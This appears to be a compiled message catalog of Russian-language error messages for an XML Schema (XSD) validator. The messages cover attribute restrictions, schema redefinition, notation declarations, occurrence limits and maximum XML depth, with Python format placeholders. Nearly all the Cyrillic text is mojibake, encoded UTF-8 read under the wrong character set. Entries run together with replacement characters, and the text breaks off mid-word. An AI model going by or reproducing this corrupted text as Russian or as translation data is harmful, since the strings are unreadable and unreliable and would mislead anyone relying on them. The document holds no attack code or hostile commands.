Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸ĐµĐ¼ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ° Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ°�ĐŸĐ¾Đ´ÑÑ‚Đ°Đ½Đ¾Đ²Đ¾Ñ‡Đ½Ñ‹Đ¹ Đ·Đ½Đ°Đº Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸ĐµĐ¼ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ Đ¿Đ¾Đ´ÑÑ‚Đ°Đ½Đ¾Đ²Đ¾Ñ‡Đ½Đ¾Đ³Đ¾ Đ·Đ½Đ°ĐºĐ°�ĐÑ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}: 'inheritable' ÑĐ²Đ¾Đ¹ÑÑ‚Đ²Đ¾ Đ¸Đ·Đ¼ĐµĐ½ĐµĐ½Đ¾ Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸�ĐÑ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}: Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ Đ¸Đ¼ĐµĐµÑ‚ Đ´Ñ€ÑƒĐ³Đ¾Đµ Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ�ĐÑ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}: Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ ÑƒĐ´Đ°Đ»ÑĐµÑ‚ Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ�ĐÑ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}: Đ½ĐµÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒÑÑ‰ĐµĐµ иÑĐ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Đ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° Đ² Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đ¸�ĐÑ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}: Đ½ĐµÑĐ¾Đ²Đ¿Đ°Đ´ĐµĐ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸�Đ¦Đ¸ĐºĐ»Đ¸Ñ‡ĐµÑĐºĐ¸Đµ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ² Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Ñ‹ Đ² XSD 1.0�ĐĐ±Đ½Đ°Ñ€ÑƒĐ¶ĐµĐ½Đ¾ ĐºÑ€ÑƒĐ³Đ¾Đ²Đ¾Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Đ´Đ»Ñ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ %r�ĐĐ±Đ½Đ°Ñ€ÑƒĐ¶ĐµĐ½Đ° Ñ†Đ¸ĐºĐ»Đ¸Ñ‡ĐµÑĐºĐ°Ñ ÑÑÑ‹Đ»ĐºĐ° Đ¼ĐµĐ¶Đ´Ñƒ Đ³Ñ€ÑƒĐ¿Đ¿Đ°Đ¼Đ¸ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ² {0!r} и {1!r}�Element Declarations Consistent Đ½Đ°Ñ€ÑƒÑˆĐµĐ½Đ¸Đµ Đ¼ĐµĐ¶Đ´Ñƒ {0!r} и {1!r}: ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²Đ¸Đµ Đ¾Đ´Đ½Đ¾Đ¼Ñƒ и Ñ‚Đ¾Đ¼Ñƒ же Đ¸Đ¼ĐµĐ½Đ¸, Đ½Đ¾ Ñ Ñ€Đ°Đ·Đ½Ñ‹Đ¼Đ¸ Ñ‚Đ¸Đ¿Đ°Đ¼Đ¸�IDREF %r Đ½Đµ Đ½Đ°Đ¹Đ´ĐµĐ½ Đ² XML-Đ´Đ¾ĐºÑƒĐ¼ĐµĐ½Ñ‚Đµ�Đ’Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾, Ñ‚Đ°Đ±Đ»Đ¸Ñ†Đ° Đ½ĐµÑĐºĐ²Đ¸Đ²Đ°Đ»ĐµĐ½Ñ‚Đ½Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ° Đ¼ĐµĐ¶Đ´Ñƒ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°Đ¼Đ¸ {0!r} и {1!r}�Đ’Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾, Ñ‚Đ°Đ±Đ»Đ¸Ñ†Đ° Đ½ĐµÑĐºĐ²Đ¸Đ²Đ°Đ»ĐµĐ½Ñ‚Đ½Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ° Đ¼ĐµĐ¶Đ´Ñƒ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°Đ¼Đ¸ {0!r} и {1!r}.�ĐÑ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ URL-Đ°Đ´Ñ€ĐµÑ Đ¸ÑÑ‚Đ¾Ñ‡Đ½Đ¸ĐºĐ° Đ¼ĐµÑ‚Đ°-ÑÑ…ĐµĐ¼Ñ‹�ĐÑ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r} Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Ñ�ĐÑˆĐ¸Đ±ĐºĐ° Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Ñ ÑÑ…ĐµĐ¼Ñ‹: %s�Đе ÑƒĐ´Đ°Đ»Đ¾ÑÑŒ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»Đ¸Ñ‚ÑŒ ÑÑ…ĐµĐ¼Ñƒ: %s�ĐŸĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ½Đ°Ñ ÑÑÑ‹Đ»ĐºĐ° Đ½Đ° Đ³Ñ€ÑƒĐ¿Đ¿Ñƒ Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ minOccurs/maxOccurs, Đ¾Ñ‚Đ»Đ¸Ñ‡Đ½Đ¾Đµ Đ¾Ñ‚ 1�ĐĐ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Ñ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Ñ‚ Đ´Đ¾Đ¿Đ¾Đ»Đ½Đ¸Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}�ĐÑ€Đ³ÑƒĐ¼ĐµĐ½Ñ‚ 'base_schemas' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ ÑĐ»Đ¾Đ²Đ°Ñ€ĐµĐ¼ или Đ¿Đ¾ÑĐ»ĐµĐ´Đ¾Đ²Đ°Ñ‚ĐµĐ»ÑŒĐ½Đ¾ÑÑ‚ÑŒÑ Đ¿Đ°Ñ€�ĐĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r} Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸�ĐĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Đ´Đ¾Ñ‡ĐµÑ€Đ½Đ¸Đ¹ Ñ‚ĐµĐ³ %r Đ² Đ¿Đ¾Đ·Đ¸Ñ†Đ¸Đ¸ %d.�Unique Particle Attribution Đ½Đ°Ñ€ÑƒÑˆĐµĐ½Đ¸Đµ Đ¼ĐµĐ¶Đ´Ñƒ {0!r} и {1!r}�ĐĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Ñ‹Đ¹ Đ¿Đ¾Ñ€ÑĐ´Đ¾Đº Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ² Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Ñ�ĐŸÑ€ĐµĐ²Ñ‹ÑˆĐµĐ½Đ° Đ³Đ»ÑƒĐ±Đ¸Đ½Đ° Đ´Đ°Đ½Đ½Ñ‹Ñ… XML (MAX_XML_DEPTH=%r)�XSD 1.0 Đ½Đµ Đ¿Đ¾Đ·Đ²Đ¾Đ»ÑĐµÑ‚ Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸Ñ Đ½Đµ Đ¿ÑƒÑÑ‚Đ¾Đ¹ 'all' Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹�Đ¢Đ¸Đ¿ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° XSD Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ simpleType�XSD_VERSION Đ´Đ¾Đ»Đ¶Đ½Đ° Đ±Ñ‹Ñ‚ÑŒ '1.0' или '1.1'�Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Đ¿Ñ€ĐµĐ´Đ¾Đº complexType: {!r}�Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ, ÑĐ¾Đ´ĐµÑ€Đ¶Đ°Ñ‰ĐµĐµÑÑ Đ² Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¼ ĐºĐ¾Đ¼Đ¿Đ»ĐµĐºÑĐ½Đ¾Đ¼ Ñ‚Đ¸Đ¿Đµ, Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ¸Đ¼ĐµÑ‚ÑŒ Ñ‚Đ¾ же Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½, Ñ‡Ñ‚Đ¾ и ĐµĐ³Đ¾ Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒÑĐºĐ°Ñ ÑÑ…ĐµĐ¼Đ°�Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ defaultOpenContent Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ¿ÑƒÑÑ‚Ñ‹Đ¼�Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Ñ‹Đ¹ %s Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ¸Đ¼ĐµÑ‚ÑŒ Ñ‚Đ¾ же Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½, Ñ‡Ñ‚Đ¾ и ĐµĐ³Đ¾ Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒÑĐºĐ°Ñ ÑÑ…ĐµĐ¼Đ°�Đ½Đµ Đ¿ÑƒÑÑ‚Đ¾Đ¹ simpleContent Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡Đ¸Đ²Đ°Ñ‚ÑŒ Đ¿ÑƒÑÑ‚Đ¾Đ¹ Ñ‚Đ¸Đ¿ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ°�Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ notation Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Ñ‹Đ¼�notation Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ¸Đ¼ĐµÑ‚ÑŒ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name'�notation Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ¸Đ¼ĐµÑ‚ÑŒ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'public' или 'system'�ÑÑÑ‹Đ»Đ¾Ñ‡Đ½Ñ‹Đ¹ ĐºĐ¾Đ¼Đ¿Đ¾Đ½ĐµĐ½Ñ‚ Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Đ´Đ¾Ñ‡ĐµÑ€Đ½Đ¸Ñ… Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đ¹/Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đ¹�ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Ñ Đ¿Ñ€Đ¾ÑÑ‚Ñ‹Đ¼ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ¾Đ¼ Đ½Đµ Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ¸Đ¼ĐµÑ‚ÑŒ Đ´Đ¾Ñ‡ĐµÑ€Đ½Đ¸Đµ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñ‹�Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Đ¾Đ±ÑĐµĐºÑ‚ {0!r} или {1!r}�Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ {0!r}, а Đ½Đµ {1!r}�Đ½ĐµĐ¾Đ´Đ½Đ¾Đ·Đ½Đ°Ñ‡Đ½Đ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Ñ‚Đ¸Đ¿Đ° ÑĐ¿Đ¸ÑĐºĐ°�Đ½ĐµĐ¾Đ´Đ½Đ¾Đ·Đ½Đ°Ñ‡Đ½Đ¾Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Ñ‚Đ¸Đ¿Đ° Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° XSD�Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Đ´Đ¾Ñ‡ĐµÑ€Đ½ĐµĐµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ <xs:any>�Đ¸Đ¼Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ¾Ñ‚Đ»Đ¸Ñ‡Đ°Ñ‚ÑŒÑÑ Đ¾Ñ‚ 'xmlns'�Đ¿ÑƒÑÑ‚Đ°Ñ Đ³Ñ€ÑƒĐ¿Đ¿Đ° 'choice' Ñ minOccurs > 0 Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¿Ñ€Đ¾Đ²ĐµÑ€Đ¸Ñ‚ÑŒ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đµ�Đ¿Đ¾Đ»ÑƒÑ‡ĐµĐ½Đ¸Đµ Đ¿ÑƒÑÑ‚Đ¾Đ³Đ¾ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đ³Đ¾ из Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ°, ĐºĐ¾Ñ‚Đ¾Ñ€Ñ‹Đ¹ Đ½Đµ Đ¸Đ¼ĐµĐµÑ‚ Đ¿ÑƒÑÑ‚Đ¾Đ³Đ¾ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đ³Đ¾�openContent Ñ mode='none' Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Đ´Đ¾Ñ‡ĐµÑ€Đ½ĐµĐµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ <xs:any>�Đ¾Đ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ xs:simpleType�Đ³Ñ€ÑƒĐ¿Đ¿Đ° xs:{0} Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ²ĐºĐ»ÑÑ‡Đ°Ñ‚ÑŒ ÑÑÑ‹Đ»ĐºÑƒ Đ½Đ° Đ³Ñ€ÑƒĐ¿Đ¿Ñƒ xs:{1}�Đ´Ñ€ÑƒĐ³Đ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Đ¿Đ¾Ñле anyAttribute�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ %r Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ ÑƒĐ½Đ°ÑĐ»ĐµĐ´Đ¾Đ²Đ°Đ½�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ %r Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ %r Đ½Đµ Đ½Đ°Đ¹Đ´ĐµĐ½�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'fixed' Ñ use=prohibited Đ½Đµ Đ´Đ¾Đ¿ÑƒÑĐºĐ°ĐµÑ‚ÑÑ Đ² XSD 1.1�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'form' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ¾Ñ‚ÑутÑÑ‚Đ²Đ¾Đ²Đ°Ñ‚ÑŒ, еÑли ÑƒĐºĐ°Đ·Đ°Đ½ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'targetNamespace'�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'maxOccurs' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¹ Đ³Ñ€ÑƒĐ¿Đ¿Đµ�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'minOccurs' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¹ Đ³Ñ€ÑƒĐ¿Đ¿Đµ�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ¿Ñ€Đ¸ÑутÑÑ‚Đ²Đ¾Đ²Đ°Ñ‚ÑŒ, ĐºĐ¾Đ³Đ´Đ° Đ¿Ñ€ĐµĐ´Đ¾ÑÑ‚Đ°Đ²Đ»ÑĐµÑ‚ÑÑ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'targetNamespace'�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¼ simpleType�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¼ complexType�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¹ Đ³Ñ€ÑƒĐ¿Đ¿Đµ�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'ref' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¼ %r�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'ref' ÑƒĐºĐ°Đ·Ñ‹Đ²Đ°ĐµÑ‚ Đ½Đ° Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ´Ñ€ÑƒĐ³Đ¾Đ³Đ¾ Đ²Đ¸Đ´Đ°�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r} Đ½ĐµĐ´Đ¾ÑÑ‚ÑƒĐ¿ĐµĐ½ Đ² Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đ¸ Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ³Đ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r} Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½, ĐºĐ¾Đ³Đ´Đ° иÑĐ¿Đ¾Đ»ÑŒĐ·ÑƒĐµÑ‚ÑÑ ÑÑÑ‹Đ»ĐºĐ° Đ½Đ° Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r} Đ½ĐµĐ´Đ¾ÑÑ‚ÑƒĐ¿ĐµĐ½ ĐºĐ¾Đ³Đ´Đ° иÑĐ¿Đ¾Đ»ÑŒĐ·ÑƒĐµÑ‚ÑÑ ÑÑÑ‹Đ»ĐºĐ° Đ½Đ° ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r} Đ½ĐµĐ´Đ¾ÑÑ‚ÑƒĐ¿ĐµĐ½ Đ² Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đ¸ Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ³Đ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {0!r} Đ¸Đ¼ĐµĐµÑ‚ Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {1!r}�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {0}={1!r}: {2}�attributeGroup ref={!r} Đ½Đµ Đ²Ñ…Đ¾Đ´Đ¸Ñ‚ Đ² Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ½ÑƒÑ Đ³Ñ€ÑƒĐ¿Đ¿Ñƒ�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹ 'name' и 'ref' ÑĐ²Đ»ÑÑÑ‚ÑÑ Đ²Đ·Đ°Đ¸Đ¼Đ¾Đ¸ÑĐºĐ»ÑÑ‡Đ°ÑÑ‰Đ¸Đ¼Đ¸�Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ %r Đ¿Ñ€Đ¾ÑÑ‚Đ¾Đ¹ или ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Ñ‚ Đ¿Ñ€Đ¾ÑÑ‚Đ¾Đ¹ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚�Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Đ½Đ°Đ±Đ¾Ñ€ Đ¸Đ¼ĐµĐµÑ‚ Đ¾Ñ‚Đ»Đ¸Ñ‡Đ°ÑщуÑÑÑ Đ´Đ»Đ¸Đ½Ñƒ ({})�Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Đ½Đ°Đ±Đ¾Ñ€ Đ¸Đ¼ĐµĐµÑ‚ Đ±Đ¾Đ»ÑŒÑˆÑƒÑ Đ¼Đ¸Đ½Đ¸Đ¼Đ°Đ»ÑŒĐ½ÑƒÑ Đ´Đ»Đ¸Đ½Ñƒ ({})�база Đ¸Đ¼ĐµĐµÑ‚ Đ´Ñ€ÑƒĐ³Đ¾Đ¹ Ñ‚Đ¸Đ¿ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đ³Đ¾ (mixed=%r) и Đ³Ñ€ÑƒĐ¿Đ¿Đ° Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸Đ¹ Đ½Đµ Đ¿ÑƒÑÑ‚Đ°�база Đ¸Đ¼ĐµĐµÑ‚ Đ´Ñ€ÑƒĐ³Đ¾Đ¹ Ñ‚Đ¸Đ¿ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đ³Đ¾ (mixed=%r) и Đ³Ñ€ÑƒĐ¿Đ¿Đ° Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸Đ¹ Đ½Đµ Đ¿ÑƒÑÑ‚Đ°.�Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ %r Đ½Đµ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Ñ‚ Đ¿Ñ€Đ¾ÑÑ‚Đ¾Đ¹ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚�Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ¸Đ¼ĐµĐµÑ‚ Đ¼ĐµĐ½ÑŒÑˆÑƒÑ Đ¼Đ°ĐºÑĐ¸Đ¼Đ°Đ»ÑŒĐ½ÑƒÑ Đ´Đ»Đ¸Đ½Ñƒ ({})�base_type={!r} Đ½Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ complexType�Đ»Đ¾Đ³Đ¸Ñ‡ĐµÑĐºĐ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {0!r} Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ Đ´ĐµĐºĐ¾Đ´ĐµÑ€Đ° {1!r}�Đ½Đµ ÑƒĐ´Đ°ĐµÑ‚ÑÑ Đ¿Ñ€Đ¾Đ²ĐµÑ€Đ¸Ñ‚ÑŒ Đ¼Đ¾Đ´ĐµĐ»ÑŒ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đ³Đ¾ {!r} из-за Đ¿Ñ€ĐµĐ²Ñ‹ÑˆĐµĐ½Đ¸Ñ Đ¼Đ°ĐºÑĐ¸Đ¼Đ°Đ»ÑŒĐ½Đ¾Đ¹ Đ³Đ»ÑƒĐ±Đ¸Đ½Ñ‹ Ñ€ĐµĐºÑƒÑ€Ñии�Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ´Đ¾Đ±Đ°Đ²Đ¸Ñ‚ÑŒ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹ Đ² Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ %r�Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ¸Đ·Đ¼ĐµĐ½Đ¸Ñ‚ÑŒ ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€ Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Ñ‹Ñ… ĐºĐ°Ñ€Ñ‚ Đ¼ĐµÑ‚Đ°ÑÑ…ĐµĐ¼Ñ‹�Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ 